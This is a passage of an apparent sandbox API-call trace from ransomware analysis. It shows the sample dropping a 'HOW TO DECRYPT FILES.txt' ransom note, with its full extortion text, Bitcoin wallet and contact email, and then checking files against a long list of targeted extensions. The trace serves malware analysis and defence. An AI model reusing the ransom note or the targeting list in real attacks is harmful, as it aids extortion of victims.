lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9") returned 100 [0108.815] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x466d5fb0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x466d5fb0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x466d5fb0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0108.815] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.815] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x466d5fb0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x466d5fb0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x466d5fb0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.815] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.815] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.815] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x466afe50, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x466afe50, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x466afe50, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x10b000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Office.Tools.Common.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0108.816] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0108.816] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Office.Tools.Common.v9.0.ni.dll") returned -1 [0108.816] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Office.Tools.Common.v9.0.ni.dll") returned -1 [0108.816] lstrcmpiA (lpString1="", lpString2="Microsoft.Office.Tools.Common.v9.0.ni.dll") returned -1 [0108.816] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\*.*") returned="*.*" [0108.816] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\" [0108.816] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\") returned="" [0108.816] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\HOW TO DECRYPT FILES.txt" [0108.816] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.office.to#\\ada202fb7fc24ae3e07c48537b86a3d9\\how to decrypt files.txt")) returned 0xffffffff [0108.816] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.office.to#\\ada202fb7fc24ae3e07c48537b86a3d9\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0108.857] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0108.858] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0108.860] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0108.860] CloseHandle (hObject=0x90) returned 1 [0108.860] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\", lpString2="Microsoft.Office.Tools.Common.v9.0.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll" [0108.860] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.ems") returned 0 [0108.860] lstrlenA (lpString="*.ems") returned 5 [0108.860] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.db") returned 0 [0108.860] lstrlenA (lpString="*.db") returned 4 [0108.860] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.dbf") returned 0 [0108.860] lstrlenA (lpString="*.dbf") returned 5 [0108.860] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.myox") returned 0 [0108.861] lstrlenA (lpString="*.myox") returned 6 [0108.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.myo") returned 0 [0108.861] lstrlenA (lpString="*.myo") returned 5 [0108.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.qbw") returned 0 [0108.861] lstrlenA (lpString="*.qbw") returned 5 [0108.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.qbb") returned 0 [0108.861] lstrlenA (lpString="*.qbb") returned 5 [0108.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.qbm") returned 0 [0108.861] lstrlenA (lpString="*.qbm") returned 5 [0108.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.qbo") returned 0 [0108.861] lstrlenA (lpString="*.qbo") returned 5 [0108.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.qbx") returned 0 [0108.861] lstrlenA (lpString="*.qbx") returned 5 [0108.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.qba") returned 0 [0108.862] lstrlenA (lpString="*.qba") returned 5 [0108.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.qby") returned 0 [0108.862] lstrlenA (lpString="*.qby") returned 5 [0108.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.qbj") returned 0 [0108.862] lstrlenA (lpString="*.qbj") returned 5 [0108.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.ofx") returned 0 [0108.862] lstrlenA (lpString="*.ofx") returned 5 [0108.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.qif") returned 0 [0108.862] lstrlenA (lpString="*.qif") returned 5 [0108.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.mye") returned 0 [0108.862] lstrlenA (lpString="*.mye") returned 5 [0108.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.mbox") returned 0 [0108.863] lstrlenA (lpString="*.mbox") returned 6 [0108.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0108.863] lstrlenA (lpString="*.eml") returned 5 [0108.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.pst") returned 0 [0108.863] lstrlenA (lpString="*.pst") returned 5 [0108.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.ost") returned 0 [0108.863] lstrlenA (lpString="*.ost") returned 5 [0108.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.idx") returned 0 [0108.863] lstrlenA (lpString="*.idx") returned 5 [0108.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.dbx") returned 0 [0108.863] lstrlenA (lpString="*.dbx") returned 5 [0108.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.sql") returned 0 [0108.863] lstrlenA (lpString="*.sql") returned 5 [0108.864] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.mdb") returned 0 [0108.864] lstrlenA (lpString="*.mdb") returned 5 [0108.864] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.fdb") returned 0 [0108.864] lstrlenA (lpString="*.fdb") returned 5 [0108.864] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.wab") returned 0 [0108.864] lstrlenA (lpString="*.wab") returned 5 [0108.864] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.dat") returned 0 [0108.864] lstrlenA (lpString="*.dat") returned 5 [0108.864] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.txt") returned 0 [0108.864] lstrlenA (lpString="*.txt") returned 5 [0108.864] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.jpeg") returned 0 [0108.864] lstrlenA (lpString="*.jpeg") returned 6 [0108.864] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.jpg") returned 0 [0108.864] lstrlenA (lpString="*.jpg") returned 5 [0108.865] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.png") returned 0 [0108.865] lstrlenA (lpString="*.png") returned 5 [0108.865] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.php") returned 0 [0108.865] lstrlenA (lpString="*.php") returned 5 [0108.865] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.cs") returned 0 [0108.865] lstrlenA (lpString="*.cs") returned 4 [0108.865] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.cpp") returned 0 [0108.865] lstrlenA (lpString="*.cpp") returned 5 [0108.865] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.rar") returned 0 [0108.865] lstrlenA (lpString="*.rar") returned 5 [0108.865] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.zip") returned 0 [0108.865] lstrlenA (lpString="*.zip") returned 5 [0108.865] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.html") returned 0 [0108.866] lstrlenA (lpString="*.html") returned 6 [0108.866] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.htm") returned 0 [0108.866] lstrlenA (lpString="*.htm") returned 5 [0108.866] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.xlsx") returned 0 [0108.866] lstrlenA (lpString="*.xlsx") returned 6 [0108.866] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.xls") returned 0 [0108.866] lstrlenA (lpString="*.xls") returned 5 [0108.866] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.mp4") returned 0 [0108.866] lstrlenA (lpString="*.mp4") returned 5 [0108.866] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.ppt") returned 0 [0108.866] lstrlenA (lpString="*.ppt") returned 5 [0108.866] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.pptx") returned 0 [0108.866] lstrlenA (lpString="*.pptx") returned 6 [0108.866] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.doc") returned 0 [0108.866] lstrlenA (lpString="*.doc") returned 5 [0108.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.dot") returned 0 [0108.867] lstrlenA (lpString="*.dot") returned 5 [0108.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.docx") returned 0 [0108.867] lstrlenA (lpString="*.docx") returned 6 [0108.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.7z") returned 0 [0108.867] lstrlenA (lpString="*.7z") returned 4 [0108.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.tar") returned 0 [0108.867] lstrlenA (lpString="*.tar") returned 5 [0108.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.bz2") returned 0 [0108.867] lstrlenA (lpString="*.bz2") returned 5 [0108.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.gz") returned 0 [0108.867] lstrlenA (lpString="*.gz") returned 4 [0108.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.mkv") returned 0 [0108.867] lstrlenA (lpString="*.mkv") returned 5 [0108.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0108.867] lstrlenA (lpString="*.eml") returned 5 [0108.868] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.msg") returned 0 [0108.868] lstrlenA (lpString="*.msg") returned 5 [0108.868] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.edb") returned 0 [0108.868] lstrlenA (lpString="*.edb") returned 5 [0108.868] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.accdb") returned 0 [0108.868] lstrlenA (lpString="*.accdb") returned 7 [0108.868] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.odb") returned 0 [0108.868] lstrlenA (lpString="*.odb") returned 5 [0108.868] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.java") returned 0 [0108.868] lstrlenA (lpString="*.java") returned 6 [0108.868] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.asm") returned 0 [0108.868] lstrlenA (lpString="*.asm") returned 5 [0108.868] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.pfx") returned 0 [0108.868] lstrlenA (lpString="*.pfx") returned 5 [0108.868] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.pem") returned 0 [0108.869] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.p12") returned 0 [0108.869] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.gpg") returned 0 [0108.869] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.vsd") returned 0 [0108.869] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.odg") returned 0 [0108.869] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.raw") returned 0 [0108.870] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.nef") returned 0 [0108.870] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.svg") returned 0 [0108.870] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.psd") returned 0 [0108.870] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.vmx") returned 0 [0108.870] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.vmdk") returned 0 [0108.870] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.vdi") returned 0 [0108.871] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", 